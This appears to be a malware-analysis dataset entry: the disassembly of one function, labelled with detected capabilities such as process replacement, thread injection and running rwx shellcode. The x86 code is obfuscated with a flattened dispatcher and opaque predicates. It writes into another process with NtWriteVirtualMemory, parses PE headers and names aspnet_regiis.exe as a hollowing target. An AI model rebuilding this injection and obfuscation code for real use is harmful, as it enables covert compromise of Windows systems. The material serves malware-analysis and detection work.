Function at 0x10013560
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x150
mov eax, dword [0x10093c80]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x158], 0xbfb0243a
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x15c], eax
sub eax, 0x803c23ae
je 0x10015e78
jmp 0x1001359c
mov eax, dword [ebp - 0x15c]
sub eax, 0x80459771
je 0x100162b5
jmp 0x100135b2
mov eax, dword [ebp - 0x15c]
sub eax, 0x84b3913f
je 0x10018ae7
jmp 0x100135c8
mov eax, dword [ebp - 0x15c]
sub eax, 0x8505a29f
je 0x10015cd4
jmp 0x100135de
mov eax, dword [ebp - 0x15c]
sub eax, 0x859c37b1
je 0x1001687b
jmp 0x100135f4
mov eax, dword [ebp - 0x15c]
sub eax, 0x85e22b0d
je 0x10017581
jmp 0x1001360a
mov eax, dword [ebp - 0x15c]
sub eax, 0x863cb370
je 0x100171e5
jmp 0x10013620
mov eax, dword [ebp - 0x15c]
sub eax, 0x8881fd29
je 0x10017fbd
jmp 0x10013636
mov eax, dword [ebp - 0x15c]
sub eax, 0x8a16ad60
je 0x1001783a
jmp 0x1001364c
mov eax, dword [ebp - 0x15c]
sub eax, 0x8b690899
je 0x10015a3b
jmp 0x10013662
mov eax, dword [ebp - 0x15c]
sub eax, 0x8bc7c720
je 0x10015b5a
jmp 0x10013678
mov eax, dword [ebp - 0x15c]
sub eax, 0x8dc569e3
je 0x10017067
jmp 0x1001368e
mov eax, dword [ebp - 0x15c]
sub eax, 0x8dcf9c98
je 0x10015f99
jmp 0x100136a4
mov eax, dword [ebp - 0x15c]
sub eax, 0x8df52aa8
je 0x100171a9
jmp 0x100136ba
mov eax, dword [ebp - 0x15c]
sub eax, 0x8ed6e29b
je 0x1001853d
jmp 0x100136d0
mov eax, dword [ebp - 0x15c]
sub eax, 0x8ef0a1fe
je 0x10016c29
jmp 0x100136e6
mov eax, dword [ebp - 0x15c]
sub eax, 0x8f5d03ff
je 0x10016b60
jmp 0x100136fc
mov eax, dword [ebp - 0x15c]
sub eax, 0x8fd823f1
je 0x100156a6
jmp 0x10013712
mov eax, dword [ebp - 0x15c]
sub eax, 0x900ee6d7
je 0x10015f8a
jmp 0x10013728
mov eax, dword [ebp - 0x15c]
sub eax, 0x908f577b
je 0x100158a9
jmp 0x1001373e
mov eax, dword [ebp - 0x15c]
sub eax, 0x911c655e
je 0x1001621f
jmp 0x10013754
mov eax, dword [ebp - 0x15c]
sub eax, 0x92734216
je 0x10015980
jmp 0x1001376a
mov eax, dword [ebp - 0x15c]
sub eax, 0x92f602cc
je 0x10017176
jmp 0x10013780
mov eax, dword [ebp - 0x15c]
sub eax, 0x937c4c6f
je 0x10016e31
jmp 0x10013796
mov eax, dword [ebp - 0x15c]
sub eax, 0x94940539
je 0x1001672e
jmp 0x100137ac
mov eax, dword [ebp - 0x15c]
sub eax, 0x950d25d6
je 0x10018d38
jmp 0x100137c2
mov eax, dword [ebp - 0x15c]
sub eax, 0x95a72168
je 0x10017d5a
jmp 0x100137d8
mov eax, dword [ebp - 0x15c]
sub eax, 0x969fdb58
je 0x100171ca
jmp 0x100137ee
mov eax, dword [ebp - 0x15c]
sub eax, 0x9714bcb6
je 0x10018665
jmp 0x10013804
mov eax, dword [ebp - 0x15c]
sub eax, 0x9824c4a0
je 0x10016ba2
jmp 0x1001381a
mov eax, dword [ebp - 0x15c]
sub eax, 0x986175f9
je 0x10015697
jmp 0x10013830
mov eax, dword [ebp - 0x15c]
sub eax, 0x99666a4b
je 0x10017ab7
jmp 0x10013846
mov eax, dword [ebp - 0x15c]
sub eax, 0x9a2c37d1
je 0x10018c04
jmp 0x1001385c
mov eax, dword [ebp - 0x15c]
sub eax, 0x9afe1ad2
je 0x1001696a
jmp 0x10013872
mov eax, dword [ebp - 0x15c]
sub eax, 0x9bdae9e0
je 0x100189c1
jmp 0x10013888
mov eax, dword [ebp - 0x15c]
sub eax, 0x9c0f9fb1
je 0x10016d54
jmp 0x1001389e
mov eax, dword [ebp - 0x15c]
sub eax, 0x9cbc9c44
je 0x1001671f
jmp 0x100138b4
mov eax, dword [ebp - 0x15c]
sub eax, 0x9e28e278
je 0x10017eb3
jmp 0x100138ca
mov eax, dword [ebp - 0x15c]
sub eax, 0x9f236440
je 0x100166e8
jmp 0x100138e0
mov eax, dword [ebp - 0x15c]
sub eax, 0xa0b18c76
je 0x10016af6
jmp 0x100138f6
mov eax, dword [ebp - 0x15c]
sub eax, 0xa1734efd
je 0x10015b26
jmp 0x1001390c
mov eax, dword [ebp - 0x15c]
sub eax, 0xa23056ca
je 0x10015b77
jmp 0x10013922
mov eax, dword [ebp - 0x15c]
sub eax, 0xa60d4d8c
je 0x1001715d
jmp 0x10013938
mov eax, dword [ebp - 0x15c]
sub eax, 0xa62430ec
je 0x100160ba
jmp 0x1001394e
mov eax, dword [ebp - 0x15c]
sub eax, 0xa62c07db
je 0x10016b85
jmp 0x10013964
mov eax, dword [ebp - 0x15c]
sub eax, 0xa6cb7f31
je 0x100184a1
jmp 0x1001397a
mov eax, dword [ebp - 0x15c]
sub eax, 0xa846ea8e
je 0x1001698b
jmp 0x10013990
mov eax, dword [ebp - 0x15c]
sub eax, 0xa8f512f2
je 0x10017f13
jmp 0x100139a6
mov eax, dword [ebp - 0x15c]
sub eax, 0xaa6b34b8
je 0x10015ebc
jmp 0x100139bc
mov eax, dword [ebp - 0x15c]
sub eax, 0xaa8809a1
je 0x100169b0
jmp 0x100139d2
mov eax, dword [ebp - 0x15c]
sub eax, 0xacff0bb4
je 0x100174d4
jmp 0x100139e8
mov eax, dword [ebp - 0x15c]
sub eax, 0xad30f6af
je 0x10016822
jmp 0x100139fe
mov eax, dword [ebp - 0x15c]
sub eax, 0xae2ef633
je 0x10017572
jmp 0x10013a14
mov eax, dword [ebp - 0x15c]
sub eax, 0xae455b19
je 0x10015022
jmp 0x10013a2a
mov eax, dword [ebp - 0x15c]
sub eax, 0xaee847b0
je 0x1001590a
jmp 0x10013a40
mov eax, dword [ebp - 0x15c]
sub eax, 0xafba27fa
je 0x1001807a
jmp 0x10013a56
mov eax, dword [ebp - 0x15c]
sub eax, 0xafd2e0a1
je 0x10016803
jmp 0x10013a6c
mov eax, dword [ebp - 0x15c]
sub eax, 0xb2f6207c
je 0x10017d11
jmp 0x10013a82
mov eax, dword [ebp - 0x15c]
sub eax, 0xb39e6a0a
je 0x10018aac
jmp 0x10013a98
mov eax, dword [ebp - 0x15c]
sub eax, 0xb5639663
je 0x10018d62
jmp 0x10013aae
mov eax, dword [ebp - 0x15c]
sub eax, 0xb6a9c95b
je 0x10017c70
jmp 0x10013ac4
mov eax, dword [ebp - 0x15c]
sub eax, 0xb8627f33
je 0x10016bec
jmp 0x10013ada
mov eax, dword [ebp - 0x15c]
sub eax, 0xb9236a97
je 0x100183d1
jmp 0x10013af0
mov eax, dword [ebp - 0x15c]
sub eax, 0xb9b22e17
je 0x10015499
jmp 0x10013b06
mov eax, dword [ebp - 0x15c]
sub eax, 0xb9ef260d
je 0x100169fb
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
mov byte [ebp - 0x10d], 1
mov al, byte [ebp - 0x10d]
and al, 1
mov byte [ebp - 0xf2], al
mov ecx, dword [0x10095264]
mov eax, dword [0x10095260]
mov edx, ecx
add edx, 0x4402f5ed
sub edx, 1
sub edx, 0x4402f5ed
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9bdae9e0
mov ecx, 0xec2f5f63
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov byte [ebp - 0x10d], 1
mov dword [ebp - 0x158], 0x3b8bfc03
jmp 0x10018f7a
mov dword [ebp - 0x158], 0x8fd823f1
jmp 0x10018f7a
mov eax, 0x5486015f
mov ecx, 0xfa12f90
cmp dword [ebp - 0x114], 0xefb8f1b
cmovg eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov eax, dword [ebp - 0xf0]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x158], 0xfd3493e0
jmp 0x10018f7a
mov ecx, dword [0x10095264]
mov eax, dword [0x10095260]
mov edx, ecx
add edx, 0xc517a40c
sub edx, 1
sub edx, 0xc517a40c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe191009f
mov ecx, 0x92734216
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov byte [ebp - 0x115], 0
mov al, byte [ebp - 0x115]
and al, 1
mov byte [ebp - 0xec], al
mov ecx, dword [0x10095264]
mov eax, dword [0x10095260]
mov edx, ecx
add edx, 0x62a86ee5
sub edx, 1
sub edx, 0x62a86ee5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe191009f
mov ecx, 0x3e1819f0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov ecx, dword [0x10095264]
mov eax, dword [0x10095260]
mov edx, ecx
add edx, 0x62a0edb5
sub edx, 1
sub edx, 0x62a0edb5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x518a4ec3
mov ecx, 0xeb804e80
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov dword [ebp - 0x158], 0xa2b999c
jmp 0x10018f7a
mov dl, 1
mov eax, 0xd05ca6cc
mov ecx, 0xa23056ca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov byte [ebp - 0x115], 0
mov dword [ebp - 0x158], 0x38627097
jmp 0x10018f7a
mov byte [ebp - 0x116], 1
mov dword [ebp - 0x158], 0x26262d63
jmp 0x10018f7a
xor eax, eax
mov dl, al
mov eax, 0xaa6b34b8
mov ecx, 0x3574c8a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov ecx, dword [0x10095264]
mov eax, dword [0x10095260]
mov edx, ecx
sub edx, 0x9f795ae8
sub edx, 1
add edx, 0x9f795ae8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6e70da48
mov ecx, 0x65c42db4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov dword [ebp - 0x158], 0x8dcf9c98
jmp 0x10018f7a
mov dword [ebp - 0x158], 0x1c681321
jmp 0x10018f7a
mov dword [ebp - 0x158], 0xccdabfbb
jmp 0x10018f7a
mov dword [ebp - 0x11c], 0xefb8f17
mov ecx, dword [0x10095264]
mov eax, dword [0x10095260]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1ddae838
mov ecx, 0xc2ea5a63
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
cmp dword [ebp - 0x11c], 0xefb8ec1
setle al
and al, 1
mov byte [ebp - 0xe9], al
mov dword [ebp - 0x158], 0xcf3970be
jmp 0x10018f7a
mov dl, byte [ebp - 0x11d]
mov eax, 0x569e810c
mov ecx, 0x94940539
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov dword [ebp - 0x158], 0x859c37b1
jmp 0x10018f7a
mov ecx, dword [0x10095264]
mov eax, dword [0x10095260]
mov edx, ecx
add edx, 0x1689265e
sub edx, 1
sub edx, 0x1689265e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe3fe2e06
mov ecx, 0x7b9c2cfd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
xor eax, eax
mov dl, al
mov eax, 0x43b1bfca
mov ecx, 0xad30f6af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov byte [ebp - 0x11d], 1
mov dword [ebp - 0x158], 0x120189f7
jmp 0x10018f7a
mov byte [ebp - 0x11e], 1
mov al, byte [ebp - 0x11e]
mov byte [ebp - 0xe4], al
mov dword [ebp - 0x158], 0x13ace1c9
jmp 0x10018f7a
mov dl, byte [ebp - 0xe3]
mov eax, 0xa846ea8e
mov ecx, 0xaa8809a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov byte [ebp - 0x11e], 1
mov dword [ebp - 0x158], 0xe5b67b78
jmp 0x10018f7a
mov byte [ebp - 0x11e], 0
mov dword [ebp - 0x158], 0x598cb700
jmp 0x10018f7a
mov dword [ebp - 0x158], 0xc7bb7bd9
jmp 0x10018f7a
mov dword [ebp - 0x158], 0x6dd3b6f5
jmp 0x10018f7a
mov dl, 1
mov eax, 0x51cd787f
mov ecx, 0x9824c4a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov byte [ebp - 0x11f], 1
mov dword [ebp - 0x158], 0xf6e43b93
jmp 0x10018f7a
mov dword [ebp - 0x158], 0x6dd3b6f5
jmp 0x10018f7a
mov dl, byte [ebp - 0xe1]
mov eax, 0x2809f33d
mov ecx, 0x10ce7124
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov eax, dword [0x10095264]
mov ecx, dword [0x10095260]
mov edx, eax
add edx, 0xa6274428
sub edx, 1
sub edx, 0xa6274428
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf03fbf7e
mov ecx, 0xe09b29f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov dl, byte [ebp - 0xd9]
mov eax, 0xa70db50
mov ecx, 0x4d94ff99
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov eax, dword [0x10095264]
mov ecx, dword [0x10095260]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc38a47fe
mov ecx, 0x48619a8a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov dword [ebp - 0x128], 0xefb8f08
mov dword [ebp - 0x158], 0x92f602cc
jmp 0x10018f7a
mov dword [ebp - 0x158], 0xfd08b411
jmp 0x10018f7a
mov dl, byte [ebp - 0xcd]
mov eax, 0xce2c363f
mov ecx, 0x969fdb58
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x158], 0x863cb370
jmp 0x10018f7a
mov eax, dword [ebp - 0xcc]
sub eax, 0xc5e1bf7e
add eax, 1
add eax, 0xc5e1bf7e
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x158], 0x5b3a5adb
jmp 0x10018f7a
mov dword [ebp - 0x158], 0x31e596fb
jmp 0x10018f7a
mov dword [ebp - 0x158], 0x85e22b0d
jmp 0x10018f7a
mov dword [ebp - 0x158], 0x31e596fb
jmp 0x10018f7a
mov dword [ebp - 0x158], 0xbe3a3f93
jmp 0x10018f7a
mov eax, dword [0x10095264]
mov ecx, dword [0x10095260]
mov edx, eax
sub edx, 0x627531e2
sub edx, 1
add edx, 0x627531e2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x73da94dd
mov ecx, 0x50416a91
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov edx, dword [ebp - 0xb0]
mov eax, 0xca1ffca8
mov ecx, 0x28c4dba5
cmp edx, 0
cmovge eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov eax, dword [0x10095264]
mov ecx, dword [0x10095260]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x32feb954
mov ecx, 0x95a72168
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov ecx, dword [0x10095264]
mov eax, dword [0x10095260]
mov edx, ecx
sub edx, 0x24cede73
sub edx, 1
add edx, 0x24cede73
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x32feb954
mov ecx, 0x734bb53
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov eax, dword [0x10095264]
mov ecx, dword [0x10095260]
mov edx, eax
sub edx, 0xd96a6f
sub edx, 1
add edx, 0xd96a6f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3b1ae759
mov ecx, 0xcc792541
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x158], 0xdfd6d1c8
jmp 0x10018f7a
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0xa0]
mov esi, dword [ebp - 0x9c]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x138]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov ecx, dword [ebp - 0x13c]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], 0
mov eax, dword [0x10095264]
mov ecx, dword [0x10095260]
mov edx, eax
sub edx, 0xc3fb78db
sub edx, 1
add edx, 0xc3fb78db
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x33a9caf0
mov ecx, 0xafba27fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov dword [ebp - 0x158], 0x6784a5f
jmp 0x10018f7a
mov dword [ebp - 0x158], 0x2caa0f85
jmp 0x10018f7a
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
add ecx, eax
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov ecx, dword [0x10095264]
mov eax, dword [0x10095260]
mov edx, ecx
add edx, 0x7658e722
sub edx, 1
sub edx, 0x7658e722
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xce688bbb
mov ecx, 0x8ed6e29b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10018f7a
mov dword [ebp - 0x158], 0xc70914dd
jmp 0x10018f7a
mov dword [ebp - 0x158], 0x12701cc2
jmp 0x10018f7a
mov byte [ebp - 0x10d], 1
mov dword [ebp - 0x158], 0xae455b19
jmp 0x10018f7a
mov byte [ebp - 0x116], 0
mov dword [ebp - 0x158], 0x43e7839d
jmp 0x10018f7a
mov dword [ebp - 0x11c], 0xefb8ee8
mov dword [ebp - 0x158], 0x768abd77
jmp 0x10018f7a
mov dword [ebp - 0x158], 0x34f77b00
jmp 0x10018f7a
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x158], 0xf1e83024
jmp 0x10018f7a
mov dword [ebp - 0x158], 0x22da42f4
jmp 0x10018f7a
jmp 0x10013580